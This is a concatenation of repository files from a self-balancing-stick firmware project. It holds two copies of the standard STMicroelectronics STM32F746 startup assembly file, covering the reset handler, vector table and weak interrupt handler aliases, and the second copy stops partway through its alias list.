;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanFord/self-balancing-stick | 25,811 | firmware/stm32HAL/imuTest/Core/Startup/startup_stm32f746zgtx.s | /**
******************************************************************************
* @file startup_stm32f746xx.s
* @author MCD Application Team
* @brief STM32F746xx Devices vector table for GCC based toolchain.
* This module performs:
* - Set the initial SP
* - Set the initial PC == Reset_Handler,
* - Set the vector table entries with the exceptions ISR address
* - Branches to main in the C library (which eventually
* calls main()).
* After Reset the Cortex-M7 processor is in Thread mode,
* priority is Privileged, and the Stack is set to Main.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2016 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
.syntax unified
.cpu cortex-m7
.fpu softvfp
.thumb
.global g_pfnVectors
.global Default_Handler
/* start address for the initialization values of the .data section.
defined in linker script */
.word _sidata
/* start address for the .data section. defined in linker script */
.word _sdata
/* end address for the .data section. defined in linker script */
.word _edata
/* start address for the .bss section. defined in linker script */
.word _sbss
/* end address for the .bss section. defined in linker script */
.word _ebss
/* stack used for SystemInit_ExtMemCtl; always internal RAM used */
/**
* @brief This is the code that gets called when the processor first
* starts execution following a reset event. Only the absolutely
* necessary set is performed, after which the application
* supplied main() routine is called.
* @param None
* @retval : None
*/
.section .text.Reset_Handler
.weak Reset_Handler
.type Reset_Handler, %function
Reset_Handler:
ldr sp, =_estack /* set stack pointer */
/* Copy the data segment initializers from flash to SRAM */
ldr r0, =_sdata
ldr r1, =_edata
ldr r2, =_sidata
movs r3, #0
b LoopCopyDataInit
CopyDataInit:
ldr r4, [r2, r3]
str r4, [r0, r3]
adds r3, r3, #4
LoopCopyDataInit:
adds r4, r0, r3
cmp r4, r1
bcc CopyDataInit
/* Zero fill the bss segment. */
ldr r2, =_sbss
ldr r4, =_ebss
movs r3, #0
b LoopFillZerobss
FillZerobss:
str r3, [r2]
adds r2, r2, #4
LoopFillZerobss:
cmp r2, r4
bcc FillZerobss
/* Call the clock system initialization function.*/
bl SystemInit
/* Call static constructors */
bl __libc_init_array
/* Call the application's entry point.*/
bl main
bx lr
.size Reset_Handler, .-Reset_Handler
/**
* @brief This is the code that gets called when the processor receives an
* unexpected interrupt. This simply enters an infinite loop, preserving
* the system state for examination by a debugger.
* @param None
* @retval None
*/
.section .text.Default_Handler,"ax",%progbits
Default_Handler:
Infinite_Loop:
b Infinite_Loop
.size Default_Handler, .-Default_Handler
/******************************************************************************
*
* The minimal vector table for a Cortex M7. Note that the proper constructs
* must be placed on this to ensure that it ends up at physical address
* 0x0000.0000.
*
*******************************************************************************/
.section .isr_vector,"a",%progbits
.type g_pfnVectors, %object
.size g_pfnVectors, .-g_pfnVectors
g_pfnVectors:
.word _estack
.word Reset_Handler
.word NMI_Handler
.word HardFault_Handler
.word MemManage_Handler
.word BusFault_Handler
.word UsageFault_Handler
.word 0
.word 0
.word 0
.word 0
.word SVC_Handler
.word DebugMon_Handler
.word 0
.word PendSV_Handler
.word SysTick_Handler
/* External Interrupts */
.word WWDG_IRQHandler /* Window WatchDog */
.word PVD_IRQHandler /* PVD through EXTI Line detection */
.word TAMP_STAMP_IRQHandler /* Tamper and TimeStamps through the EXTI line */
.word RTC_WKUP_IRQHandler /* RTC Wakeup through the EXTI line */
.word FLASH_IRQHandler /* FLASH */
.word RCC_IRQHandler /* RCC */
.word EXTI0_IRQHandler /* EXTI Line0 */
.word EXTI1_IRQHandler /* EXTI Line1 */
.word EXTI2_IRQHandler /* EXTI Line2 */
.word EXTI3_IRQHandler /* EXTI Line3 */
.word EXTI4_IRQHandler /* EXTI Line4 */
.word DMA1_Stream0_IRQHandler /* DMA1 Stream 0 */
.word DMA1_Stream1_IRQHandler /* DMA1 Stream 1 */
.word DMA1_Stream2_IRQHandler /* DMA1 Stream 2 */
.word DMA1_Stream3_IRQHandler /* DMA1 Stream 3 */
.word DMA1_Stream4_IRQHandler /* DMA1 Stream 4 */
.word DMA1_Stream5_IRQHandler /* DMA1 Stream 5 */
.word DMA1_Stream6_IRQHandler /* DMA1 Stream 6 */
.word ADC_IRQHandler /* ADC1, ADC2 and ADC3s */
.word CAN1_TX_IRQHandler /* CAN1 TX */
.word CAN1_RX0_IRQHandler /* CAN1 RX0 */
.word CAN1_RX1_IRQHandler /* CAN1 RX1 */
.word CAN1_SCE_IRQHandler /* CAN1 SCE */
.word EXTI9_5_IRQHandler /* External Line[9:5]s */
.word TIM1_BRK_TIM9_IRQHandler /* TIM1 Break and TIM9 */
.word TIM1_UP_TIM10_IRQHandler /* TIM1 Update and TIM10 */
.word TIM1_TRG_COM_TIM11_IRQHandler /* TIM1 Trigger and Commutation and TIM11 */
.word TIM1_CC_IRQHandler /* TIM1 Capture Compare */
.word TIM2_IRQHandler /* TIM2 */
.word TIM3_IRQHandler /* TIM3 */
.word TIM4_IRQHandler /* TIM4 */
.word I2C1_EV_IRQHandler /* I2C1 Event */
.word I2C1_ER_IRQHandler /* I2C1 Error */
.word I2C2_EV_IRQHandler /* I2C2 Event */
.word I2C2_ER_IRQHandler /* I2C2 Error */
.word SPI1_IRQHandler /* SPI1 */
.word SPI2_IRQHandler /* SPI2 */
.word USART1_IRQHandler /* USART1 */
.word USART2_IRQHandler /* USART2 */
.word USART3_IRQHandler /* USART3 */
.word EXTI15_10_IRQHandler /* External Line[15:10]s */
.word RTC_Alarm_IRQHandler /* RTC Alarm (A and B) through EXTI Line */
.word OTG_FS_WKUP_IRQHandler /* USB OTG FS Wakeup through EXTI line */
.word TIM8_BRK_TIM12_IRQHandler /* TIM8 Break and TIM12 */
.word TIM8_UP_TIM13_IRQHandler /* TIM8 Update and TIM13 */
.word TIM8_TRG_COM_TIM14_IRQHandler /* TIM8 Trigger and Commutation and TIM14 */
.word TIM8_CC_IRQHandler /* TIM8 Capture Compare */
.word DMA1_Stream7_IRQHandler /* DMA1 Stream7 */
.word FMC_IRQHandler /* FMC */
.word SDMMC1_IRQHandler /* SDMMC1 */
.word TIM5_IRQHandler /* TIM5 */
.word SPI3_IRQHandler /* SPI3 */
.word UART4_IRQHandler /* UART4 */
.word UART5_IRQHandler /* UART5 */
.word TIM6_DAC_IRQHandler /* TIM6 and DAC1&2 underrun errors */
.word TIM7_IRQHandler /* TIM7 */
.word DMA2_Stream0_IRQHandler /* DMA2 Stream 0 */
.word DMA2_Stream1_IRQHandler /* DMA2 Stream 1 */
.word DMA2_Stream2_IRQHandler /* DMA2 Stream 2 */
.word DMA2_Stream3_IRQHandler /* DMA2 Stream 3 */
.word DMA2_Stream4_IRQHandler /* DMA2 Stream 4 */
.word ETH_IRQHandler /* Ethernet */
.word ETH_WKUP_IRQHandler /* Ethernet Wakeup through EXTI line */
.word CAN2_TX_IRQHandler /* CAN2 TX */
.word CAN2_RX0_IRQHandler /* CAN2 RX0 */
.word CAN2_RX1_IRQHandler /* CAN2 RX1 */
.word CAN2_SCE_IRQHandler /* CAN2 SCE */
.word OTG_FS_IRQHandler /* USB OTG FS */
.word DMA2_Stream5_IRQHandler /* DMA2 Stream 5 */
.word DMA2_Stream6_IRQHandler /* DMA2 Stream 6 */
.word DMA2_Stream7_IRQHandler /* DMA2 Stream 7 */
.word USART6_IRQHandler /* USART6 */
.word I2C3_EV_IRQHandler /* I2C3 event */
.word I2C3_ER_IRQHandler /* I2C3 error */
.word OTG_HS_EP1_OUT_IRQHandler /* USB OTG HS End Point 1 Out */
.word OTG_HS_EP1_IN_IRQHandler /* USB OTG HS End Point 1 In */
.word OTG_HS_WKUP_IRQHandler /* USB OTG HS Wakeup through EXTI */
.word OTG_HS_IRQHandler /* USB OTG HS */
.word DCMI_IRQHandler /* DCMI */
.word 0 /* Reserved */
.word RNG_IRQHandler /* Rng */
.word FPU_IRQHandler /* FPU */
.word UART7_IRQHandler /* UART7 */
.word UART8_IRQHandler /* UART8 */
.word SPI4_IRQHandler /* SPI4 */
.word SPI5_IRQHandler /* SPI5 */
.word SPI6_IRQHandler /* SPI6 */
.word SAI1_IRQHandler /* SAI1 */
.word LTDC_IRQHandler /* LTDC */
.word LTDC_ER_IRQHandler /* LTDC error */
.word DMA2D_IRQHandler /* DMA2D */
.word SAI2_IRQHandler /* SAI2 */
.word QUADSPI_IRQHandler /* QUADSPI */
.word LPTIM1_IRQHandler /* LPTIM1 */
.word CEC_IRQHandler /* HDMI_CEC */
.word I2C4_EV_IRQHandler /* I2C4 Event */
.word I2C4_ER_IRQHandler /* I2C4 Error */
.word SPDIF_RX_IRQHandler /* SPDIF_RX */
/*******************************************************************************
*
* Provide weak aliases for each Exception handler to the Default_Handler.
* As they are weak aliases, any function with the same name will override
* this definition.
*
*******************************************************************************/
.weak NMI_Handler
.thumb_set NMI_Handler,Default_Handler
.weak HardFault_Handler
.thumb_set HardFault_Handler,Default_Handler
.weak MemManage_Handler
.thumb_set MemManage_Handler,Default_Handler
.weak BusFault_Handler
.thumb_set BusFault_Handler,Default_Handler
.weak UsageFault_Handler
.thumb_set UsageFault_Handler,Default_Handler
.weak SVC_Handler
.thumb_set SVC_Handler,Default_Handler
.weak DebugMon_Handler
.thumb_set DebugMon_Handler,Default_Handler
.weak PendSV_Handler
.thumb_set PendSV_Handler,Default_Handler
.weak SysTick_Handler
.thumb_set SysTick_Handler,Default_Handler
.weak WWDG_IRQHandler
.thumb_set WWDG_IRQHandler,Default_Handler
.weak PVD_IRQHandler
.thumb_set PVD_IRQHandler,Default_Handler
.weak TAMP_STAMP_IRQHandler
.thumb_set TAMP_STAMP_IRQHandler,Default_Handler
.weak RTC_WKUP_IRQHandler
.thumb_set RTC_WKUP_IRQHandler,Default_Handler
.weak FLASH_IRQHandler
.thumb_set FLASH_IRQHandler,Default_Handler
.weak RCC_IRQHandler
.thumb_set RCC_IRQHandler,Default_Handler
.weak EXTI0_IRQHandler
.thumb_set EXTI0_IRQHandler,Default_Handler
.weak EXTI1_IRQHandler
.thumb_set EXTI1_IRQHandler,Default_Handler
.weak EXTI2_IRQHandler
.thumb_set EXTI2_IRQHandler,Default_Handler
.weak EXTI3_IRQHandler
.thumb_set EXTI3_IRQHandler,Default_Handler
.weak EXTI4_IRQHandler
.thumb_set EXTI4_IRQHandler,Default_Handler
.weak DMA1_Stream0_IRQHandler
.thumb_set DMA1_Stream0_IRQHandler,Default_Handler
.weak DMA1_Stream1_IRQHandler
.thumb_set DMA1_Stream1_IRQHandler,Default_Handler
.weak DMA1_Stream2_IRQHandler
.thumb_set DMA1_Stream2_IRQHandler,Default_Handler
.weak DMA1_Stream3_IRQHandler
.thumb_set DMA1_Stream3_IRQHandler,Default_Handler
.weak DMA1_Stream4_IRQHandler
.thumb_set DMA1_Stream4_IRQHandler,Default_Handler
.weak DMA1_Stream5_IRQHandler
.thumb_set DMA1_Stream5_IRQHandler,Default_Handler
.weak DMA1_Stream6_IRQHandler
.thumb_set DMA1_Stream6_IRQHandler,Default_Handler
.weak ADC_IRQHandler
.thumb_set ADC_IRQHandler,Default_Handler
.weak CAN1_TX_IRQHandler
.thumb_set CAN1_TX_IRQHandler,Default_Handler
.weak CAN1_RX0_IRQHandler
.thumb_set CAN1_RX0_IRQHandler,Default_Handler
.weak CAN1_RX1_IRQHandler
.thumb_set CAN1_RX1_IRQHandler,Default_Handler
.weak CAN1_SCE_IRQHandler
.thumb_set CAN1_SCE_IRQHandler,Default_Handler
.weak EXTI9_5_IRQHandler
.thumb_set EXTI9_5_IRQHandler,Default_Handler
.weak TIM1_BRK_TIM9_IRQHandler
.thumb_set TIM1_BRK_TIM9_IRQHandler,Default_Handler
.weak TIM1_UP_TIM10_IRQHandler
.thumb_set TIM1_UP_TIM10_IRQHandler,Default_Handler
.weak TIM1_TRG_COM_TIM11_IRQHandler
.thumb_set TIM1_TRG_COM_TIM11_IRQHandler,Default_Handler
.weak TIM1_CC_IRQHandler
.thumb_set TIM1_CC_IRQHandler,Default_Handler
.weak TIM2_IRQHandler
.thumb_set TIM2_IRQHandler,Default_Handler
.weak TIM3_IRQHandler
.thumb_set TIM3_IRQHandler,Default_Handler
.weak TIM4_IRQHandler
.thumb_set TIM4_IRQHandler,Default_Handler
.weak I2C1_EV_IRQHandler
.thumb_set I2C1_EV_IRQHandler,Default_Handler
.weak I2C1_ER_IRQHandler
.thumb_set I2C1_ER_IRQHandler,Default_Handler
.weak I2C2_EV_IRQHandler
.thumb_set I2C2_EV_IRQHandler,Default_Handler
.weak I2C2_ER_IRQHandler
.thumb_set I2C2_ER_IRQHandler,Default_Handler
.weak SPI1_IRQHandler
.thumb_set SPI1_IRQHandler,Default_Handler
.weak SPI2_IRQHandler
.thumb_set SPI2_IRQHandler,Default_Handler
.weak USART1_IRQHandler
.thumb_set USART1_IRQHandler,Default_Handler
.weak USART2_IRQHandler
.thumb_set USART2_IRQHandler,Default_Handler
.weak USART3_IRQHandler
.thumb_set USART3_IRQHandler,Default_Handler
.weak EXTI15_10_IRQHandler
.thumb_set EXTI15_10_IRQHandler,Default_Handler
.weak RTC_Alarm_IRQHandler
.thumb_set RTC_Alarm_IRQHandler,Default_Handler
.weak OTG_FS_WKUP_IRQHandler
.thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler
.weak TIM8_BRK_TIM12_IRQHandler
.thumb_set TIM8_BRK_TIM12_IRQHandler,Default_Handler
.weak TIM8_UP_TIM13_IRQHandler
.thumb_set TIM8_UP_TIM13_IRQHandler,Default_Handler
.weak TIM8_TRG_COM_TIM14_IRQHandler
.thumb_set TIM8_TRG_COM_TIM14_IRQHandler,Default_Handler
.weak TIM8_CC_IRQHandler
.thumb_set TIM8_CC_IRQHandler,Default_Handler
.weak DMA1_Stream7_IRQHandler
.thumb_set DMA1_Stream7_IRQHandler,Default_Handler
.weak FMC_IRQHandler
.thumb_set FMC_IRQHandler,Default_Handler
.weak SDMMC1_IRQHandler
.thumb_set SDMMC1_IRQHandler,Default_Handler
.weak TIM5_IRQHandler
.thumb_set TIM5_IRQHandler,Default_Handler
.weak SPI3_IRQHandler
.thumb_set SPI3_IRQHandler,Default_Handler
.weak UART4_IRQHandler
.thumb_set UART4_IRQHandler,Default_Handler
.weak UART5_IRQHandler
.thumb_set UART5_IRQHandler,Default_Handler
.weak TIM6_DAC_IRQHandler
.thumb_set TIM6_DAC_IRQHandler,Default_Handler
.weak TIM7_IRQHandler
.thumb_set TIM7_IRQHandler,Default_Handler
.weak DMA2_Stream0_IRQHandler
.thumb_set DMA2_Stream0_IRQHandler,Default_Handler
.weak DMA2_Stream1_IRQHandler
.thumb_set DMA2_Stream1_IRQHandler,Default_Handler
.weak DMA2_Stream2_IRQHandler
.thumb_set DMA2_Stream2_IRQHandler,Default_Handler
.weak DMA2_Stream3_IRQHandler
.thumb_set DMA2_Stream3_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak DMA2_Stream4_IRQHandler
.thumb_set DMA2_Stream4_IRQHandler,Default_Handler
.weak ETH_IRQHandler
.thumb_set ETH_IRQHandler,Default_Handler
.weak ETH_WKUP_IRQHandler
.thumb_set ETH_WKUP_IRQHandler,Default_Handler
.weak CAN2_TX_IRQHandler
.thumb_set CAN2_TX_IRQHandler,Default_Handler
.weak CAN2_RX0_IRQHandler
.thumb_set CAN2_RX0_IRQHandler,Default_Handler
.weak CAN2_RX1_IRQHandler
.thumb_set CAN2_RX1_IRQHandler,Default_Handler
.weak CAN2_SCE_IRQHandler
.thumb_set CAN2_SCE_IRQHandler,Default_Handler
.weak OTG_FS_IRQHandler
.thumb_set OTG_FS_IRQHandler,Default_Handler
.weak DMA2_Stream5_IRQHandler
.thumb_set DMA2_Stream5_IRQHandler,Default_Handler
.weak DMA2_Stream6_IRQHandler
.thumb_set DMA2_Stream6_IRQHandler,Default_Handler
.weak DMA2_Stream7_IRQHandler
.thumb_set DMA2_Stream7_IRQHandler,Default_Handler
.weak USART6_IRQHandler
.thumb_set USART6_IRQHandler,Default_Handler
.weak I2C3_EV_IRQHandler
.thumb_set I2C3_EV_IRQHandler,Default_Handler
.weak I2C3_ER_IRQHandler
.thumb_set I2C3_ER_IRQHandler,Default_Handler
.weak OTG_HS_EP1_OUT_IRQHandler
.thumb_set OTG_HS_EP1_OUT_IRQHandler,Default_Handler
.weak OTG_HS_EP1_IN_IRQHandler
.thumb_set OTG_HS_EP1_IN_IRQHandler,Default_Handler
.weak OTG_HS_WKUP_IRQHandler
.thumb_set OTG_HS_WKUP_IRQHandler,Default_Handler
.weak OTG_HS_IRQHandler
.thumb_set OTG_HS_IRQHandler,Default_Handler
.weak DCMI_IRQHandler
.thumb_set DCMI_IRQHandler,Default_Handler
.weak RNG_IRQHandler
.thumb_set RNG_IRQHandler,Default_Handler
.weak FPU_IRQHandler
.thumb_set FPU_IRQHandler,Default_Handler
.weak UART7_IRQHandler
.thumb_set UART7_IRQHandler,Default_Handler
.weak UART8_IRQHandler
.thumb_set UART8_IRQHandler,Default_Handler
.weak SPI4_IRQHandler
.thumb_set SPI4_IRQHandler,Default_Handler
.weak SPI5_IRQHandler
.thumb_set SPI5_IRQHandler,Default_Handler
.weak SPI6_IRQHandler
.thumb_set SPI6_IRQHandler,Default_Handler
.weak SAI1_IRQHandler
.thumb_set SAI1_IRQHandler,Default_Handler
.weak LTDC_IRQHandler
.thumb_set LTDC_IRQHandler,Default_Handler
.weak LTDC_ER_IRQHandler
.thumb_set LTDC_ER_IRQHandler,Default_Handler
.weak DMA2D_IRQHandler
.thumb_set DMA2D_IRQHandler,Default_Handler
.weak SAI2_IRQHandler
.thumb_set SAI2_IRQHandler,Default_Handler
.weak QUADSPI_IRQHandler
.thumb_set QUADSPI_IRQHandler,Default_Handler
.weak LPTIM1_IRQHandler
.thumb_set LPTIM1_IRQHandler,Default_Handler
.weak CEC_IRQHandler
.thumb_set CEC_IRQHandler,Default_Handler
.weak I2C4_EV_IRQHandler
.thumb_set I2C4_EV_IRQHandler,Default_Handler
.weak I2C4_ER_IRQHandler
.thumb_set I2C4_ER_IRQHandler,Default_Handler
.weak SPDIF_RX_IRQHandler
.thumb_set SPDIF_RX_IRQHandler,Default_Handler
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
AlanFord/self-balancing-stick | 25,811 | firmware/stm32HAL/dmpTest/Core/Startup/startup_stm32f746zgtx.s | /**
******************************************************************************
* @file startup_stm32f746xx.s
* @author MCD Application Team
* @brief STM32F746xx Devices vector table for GCC based toolchain.
* This module performs:
* - Set the initial SP
* - Set the initial PC == Reset_Handler,
* - Set the vector table entries with the exceptions ISR address
* - Branches to main in the C library (which eventually
* calls main()).
* After Reset the Cortex-M7 processor is in Thread mode,
* priority is Privileged, and the Stack is set to Main.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2016 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
.syntax unified
.cpu cortex-m7
.fpu softvfp
.thumb
.global g_pfnVectors
.global Default_Handler
/* start address for the initialization values of the .data section.
defined in linker script */
.word _sidata
/* start address for the .data section. defined in linker script */
.word _sdata
/* end address for the .data section. defined in linker script */
.word _edata
/* start address for the .bss section. defined in linker script */
.word _sbss
/* end address for the .bss section. defined in linker script */
.word _ebss
/* stack used for SystemInit_ExtMemCtl; always internal RAM used */
/**
* @brief This is the code that gets called when the processor first
* starts execution following a reset event. Only the absolutely
* necessary set is performed, after which the application
* supplied main() routine is called.
* @param None
* @retval : None
*/
.section .text.Reset_Handler
.weak Reset_Handler
.type Reset_Handler, %function
Reset_Handler:
ldr sp, =_estack /* set stack pointer */
/* Copy the data segment initializers from flash to SRAM */
ldr r0, =_sdata
ldr r1, =_edata
ldr r2, =_sidata
movs r3, #0
b LoopCopyDataInit
CopyDataInit:
ldr r4, [r2, r3]
str r4, [r0, r3]
adds r3, r3, #4
LoopCopyDataInit:
adds r4, r0, r3
cmp r4, r1
bcc CopyDataInit
/* Zero fill the bss segment. */
ldr r2, =_sbss
ldr r4, =_ebss
movs r3, #0
b LoopFillZerobss
FillZerobss:
str r3, [r2]
adds r2, r2, #4
LoopFillZerobss:
cmp r2, r4
bcc FillZerobss
/* Call the clock system initialization function.*/
bl SystemInit
/* Call static constructors */
bl __libc_init_array
/* Call the application's entry point.*/
bl main
bx lr
.size Reset_Handler, .-Reset_Handler
/**
* @brief This is the code that gets called when the processor receives an
* unexpected interrupt. This simply enters an infinite loop, preserving
* the system state for examination by a debugger.
* @param None
* @retval None
*/
.section .text.Default_Handler,"ax",%progbits
Default_Handler:
Infinite_Loop:
b Infinite_Loop
.size Default_Handler, .-Default_Handler
/******************************************************************************
*
* The minimal vector table for a Cortex M7. Note that the proper constructs
* must be placed on this to ensure that it ends up at physical address
* 0x0000.0000.
*
*******************************************************************************/
.section .isr_vector,"a",%progbits
.type g_pfnVectors, %object
.size g_pfnVectors, .-g_pfnVectors
g_pfnVectors:
.word _estack
.word Reset_Handler
.word NMI_Handler
.word HardFault_Handler
.word MemManage_Handler
.word BusFault_Handler
.word UsageFault_Handler
.word 0
.word 0
.word 0
.word 0
.word SVC_Handler
.word DebugMon_Handler
.word 0
.word PendSV_Handler
.word SysTick_Handler
/* External Interrupts */
.word WWDG_IRQHandler /* Window WatchDog */
.word PVD_IRQHandler /* PVD through EXTI Line detection */
.word TAMP_STAMP_IRQHandler /* Tamper and TimeStamps through the EXTI line */
.word RTC_WKUP_IRQHandler /* RTC Wakeup through the EXTI line */
.word FLASH_IRQHandler /* FLASH */
.word RCC_IRQHandler /* RCC */
.word EXTI0_IRQHandler /* EXTI Line0 */
.word EXTI1_IRQHandler /* EXTI Line1 */
.word EXTI2_IRQHandler /* EXTI Line2 */
.word EXTI3_IRQHandler /* EXTI Line3 */
.word EXTI4_IRQHandler /* EXTI Line4 */
.word DMA1_Stream0_IRQHandler /* DMA1 Stream 0 */
.word DMA1_Stream1_IRQHandler /* DMA1 Stream 1 */
.word DMA1_Stream2_IRQHandler /* DMA1 Stream 2 */
.word DMA1_Stream3_IRQHandler /* DMA1 Stream 3 */
.word DMA1_Stream4_IRQHandler /* DMA1 Stream 4 */
.word DMA1_Stream5_IRQHandler /* DMA1 Stream 5 */
.word DMA1_Stream6_IRQHandler /* DMA1 Stream 6 */
.word ADC_IRQHandler /* ADC1, ADC2 and ADC3s */
.word CAN1_TX_IRQHandler /* CAN1 TX */
.word CAN1_RX0_IRQHandler /* CAN1 RX0 */
.word CAN1_RX1_IRQHandler /* CAN1 RX1 */
.word CAN1_SCE_IRQHandler /* CAN1 SCE */
.word EXTI9_5_IRQHandler /* External Line[9:5]s */
.word TIM1_BRK_TIM9_IRQHandler /* TIM1 Break and TIM9 */
.word TIM1_UP_TIM10_IRQHandler /* TIM1 Update and TIM10 */
.word TIM1_TRG_COM_TIM11_IRQHandler /* TIM1 Trigger and Commutation and TIM11 */
.word TIM1_CC_IRQHandler /* TIM1 Capture Compare */
.word TIM2_IRQHandler /* TIM2 */
.word TIM3_IRQHandler /* TIM3 */
.word TIM4_IRQHandler /* TIM4 */
.word I2C1_EV_IRQHandler /* I2C1 Event */
.word I2C1_ER_IRQHandler /* I2C1 Error */
.word I2C2_EV_IRQHandler /* I2C2 Event */
.word I2C2_ER_IRQHandler /* I2C2 Error */
.word SPI1_IRQHandler /* SPI1 */
.word SPI2_IRQHandler /* SPI2 */
.word USART1_IRQHandler /* USART1 */
.word USART2_IRQHandler /* USART2 */
.word USART3_IRQHandler /* USART3 */
.word EXTI15_10_IRQHandler /* External Line[15:10]s */
.word RTC_Alarm_IRQHandler /* RTC Alarm (A and B) through EXTI Line */
.word OTG_FS_WKUP_IRQHandler /* USB OTG FS Wakeup through EXTI line */
.word TIM8_BRK_TIM12_IRQHandler /* TIM8 Break and TIM12 */
.word TIM8_UP_TIM13_IRQHandler /* TIM8 Update and TIM13 */
.word TIM8_TRG_COM_TIM14_IRQHandler /* TIM8 Trigger and Commutation and TIM14 */
.word TIM8_CC_IRQHandler /* TIM8 Capture Compare */
.word DMA1_Stream7_IRQHandler /* DMA1 Stream7 */
.word FMC_IRQHandler /* FMC */
.word SDMMC1_IRQHandler /* SDMMC1 */
.word TIM5_IRQHandler /* TIM5 */
.word SPI3_IRQHandler /* SPI3 */
.word UART4_IRQHandler /* UART4 */
.word UART5_IRQHandler /* UART5 */
.word TIM6_DAC_IRQHandler /* TIM6 and DAC1&2 underrun errors */
.word TIM7_IRQHandler /* TIM7 */
.word DMA2_Stream0_IRQHandler /* DMA2 Stream 0 */
.word DMA2_Stream1_IRQHandler /* DMA2 Stream 1 */
.word DMA2_Stream2_IRQHandler /* DMA2 Stream 2 */
.word DMA2_Stream3_IRQHandler /* DMA2 Stream 3 */
.word DMA2_Stream4_IRQHandler /* DMA2 Stream 4 */
.word ETH_IRQHandler /* Ethernet */
.word ETH_WKUP_IRQHandler /* Ethernet Wakeup through EXTI line */
.word CAN2_TX_IRQHandler /* CAN2 TX */
.word CAN2_RX0_IRQHandler /* CAN2 RX0 */
.word CAN2_RX1_IRQHandler /* CAN2 RX1 */
.word CAN2_SCE_IRQHandler /* CAN2 SCE */
.word OTG_FS_IRQHandler /* USB OTG FS */
.word DMA2_Stream5_IRQHandler /* DMA2 Stream 5 */
.word DMA2_Stream6_IRQHandler /* DMA2 Stream 6 */
.word DMA2_Stream7_IRQHandler /* DMA2 Stream 7 */
.word USART6_IRQHandler /* USART6 */
.word I2C3_EV_IRQHandler /* I2C3 event */
.word I2C3_ER_IRQHandler /* I2C3 error */
.word OTG_HS_EP1_OUT_IRQHandler /* USB OTG HS End Point 1 Out */
.word OTG_HS_EP1_IN_IRQHandler /* USB OTG HS End Point 1 In */
.word OTG_HS_WKUP_IRQHandler /* USB OTG HS Wakeup through EXTI */
.word OTG_HS_IRQHandler /* USB OTG HS */
.word DCMI_IRQHandler /* DCMI */
.word 0 /* Reserved */
.word RNG_IRQHandler /* Rng */
.word FPU_IRQHandler /* FPU */
.word UART7_IRQHandler /* UART7 */
.word UART8_IRQHandler /* UART8 */
.word SPI4_IRQHandler /* SPI4 */
.word SPI5_IRQHandler /* SPI5 */
.word SPI6_IRQHandler /* SPI6 */
.word SAI1_IRQHandler /* SAI1 */
.word LTDC_IRQHandler /* LTDC */
.word LTDC_ER_IRQHandler /* LTDC error */
.word DMA2D_IRQHandler /* DMA2D */
.word SAI2_IRQHandler /* SAI2 */
.word QUADSPI_IRQHandler /* QUADSPI */
.word LPTIM1_IRQHandler /* LPTIM1 */
.word CEC_IRQHandler /* HDMI_CEC */
.word I2C4_EV_IRQHandler /* I2C4 Event */
.word I2C4_ER_IRQHandler /* I2C4 Error */
.word SPDIF_RX_IRQHandler /* SPDIF_RX */
/*******************************************************************************
*
* Provide weak aliases for each Exception handler to the Default_Handler.
* As they are weak aliases, any function with the same name will override
* this definition.
*
*******************************************************************************/
.weak NMI_Handler
.thumb_set NMI_Handler,Default_Handler
.weak HardFault_Handler
.thumb_set HardFault_Handler,Default_Handler
.weak MemManage_Handler
.thumb_set MemManage_Handler,Default_Handler
.weak BusFault_Handler
.thumb_set BusFault_Handler,Default_Handler
.weak UsageFault_Handler
.thumb_set UsageFault_Handler,Default_Handler
.weak SVC_Handler
.thumb_set SVC_Handler,Default_Handler
.weak DebugMon_Handler
.thumb_set DebugMon_Handler,Default_Handler
.weak PendSV_Handler
.thumb_set PendSV_Handler,Default_Handler
.weak SysTick_Handler
.thumb_set SysTick_Handler,Default_Handler
.weak WWDG_IRQHandler
.thumb_set WWDG_IRQHandler,Default_Handler
.weak PVD_IRQHandler
.thumb_set PVD_IRQHandler,Default_Handler
.weak TAMP_STAMP_IRQHandler
.thumb_set TAMP_STAMP_IRQHandler,Default_Handler
.weak RTC_WKUP_IRQHandler
.thumb_set RTC_WKUP_IRQHandler,Default_Handler
.weak FLASH_IRQHandler
.thumb_set FLASH_IRQHandler,Default_Handler
.weak RCC_IRQHandler
.thumb_set RCC_IRQHandler,Default_Handler
.weak EXTI0_IRQHandler
.thumb_set EXTI0_IRQHandler,Default_Handler
.weak EXTI1_IRQHandler
.thumb_set EXTI1_IRQHandler,Default_Handler
.weak EXTI2_IRQHandler
.thumb_set EXTI2_IRQHandler,Default_Handler
.weak EXTI3_IRQHandler
.thumb_set EXTI3_IRQHandler,Default_Handler
.weak EXTI4_IRQHandler
.thumb_set EXTI4_IRQHandler,Default_Handler
.weak DMA1_Stream0_IRQHandler
.thumb_set DMA1_Stream0_IRQHandler,Default_Handler
.weak DMA1_Stream1_IRQHandler
.thumb_set DMA1_Stream1_IRQHandler,Default_Handler
.weak DMA1_Stream2_IRQHandler
.thumb_set DMA1_Stream2_IRQHandler,Default_Handler
.weak DMA1_Stream3_IRQHandler
.thumb_set DMA1_Stream3_IRQHandler,Default_Handler
.weak DMA1_Stream4_IRQHandler
.thumb_set DMA1_Stream4_IRQHandler,Default_Handler
.weak DMA1_Stream5_IRQHandler
.thumb_set DMA1_Stream5_IRQHandler,Default_Handler
.weak DMA1_Stream6_IRQHandler
.thumb_set DMA1_Stream6_IRQHandler,Default_Handler
.weak ADC_IRQHandler
.thumb_set ADC_IRQHandler,Default_Handler
.weak CAN1_TX_IRQHandler
.thumb_set CAN1_TX_IRQHandler,Default_Handler
.weak CAN1_RX0_IRQHandler
.thumb_set CAN1_RX0_IRQHandler,Default_Handler
.weak CAN1_RX1_IRQHandler
.thumb_set CAN1_RX1_IRQHandler,Default_Handler
.weak CAN1_SCE_IRQHandler
